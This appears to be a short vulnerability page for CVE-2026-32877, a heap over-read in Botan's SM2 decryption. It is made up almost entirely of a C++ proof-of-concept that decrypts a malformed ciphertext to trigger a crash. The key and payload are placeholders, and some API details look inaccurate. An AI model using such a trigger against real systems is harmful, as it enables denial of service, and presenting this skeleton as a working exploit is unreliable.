CVE-2026-32877 Botan SM2解密堆越界读取漏洞

#include <botan/auto_rng.h> #include <botan/pubkey.h> #include <botan/sm2.h> #include <botan/hex.h> #include <vector> #include <iostream> // PoC for CVE-2026-32877: Botan SM2 Decryption Heap Over-read // This code attempts to decrypt a malformed ciphertext to trigger the vulnerability. int main() { try { // Setup a valid SM2 private key (simplified for PoC context) // In a real scenario, this would be loaded from a PEM file std::string priv_key_pem = "-----BEGIN PRIVATE KEY-----\n...\n-----END PRIVATE KEY-----"; Botan::DataSource_Memory key_datasource(priv_key_pem); std::unique_ptr<Botan::Private_Key> key(Botan::PKCS8::load_key(key_datasource)); // Malformed ciphertext designed to trigger the C3 length check failure // The payload must be crafted to bypass initial checks but have an invalid C3 length // Example structure: C1 || Invalid C3 (too short/long) || C2 std::vector<uint8_t> malformed_ct = Botan::hex_decode("EXAMPLE_MALFORMED_HEX_STRING_HERE"); Botan::PK_Decryptor_EME decryptor(*key, Botan::system_rng(), "Raw"); // Trigger the heap over-read during decryption // This may cause a crash (Segfault) or undefined behavior Botan::secure_vector<uint8_t> decrypted = decryptor.decrypt(malformed_ct); } catch (std::exception& e) { std::cout << "Exception caught: " << e.what() << std::endl; // A crash indicates the vulnerability is triggered } return 0; }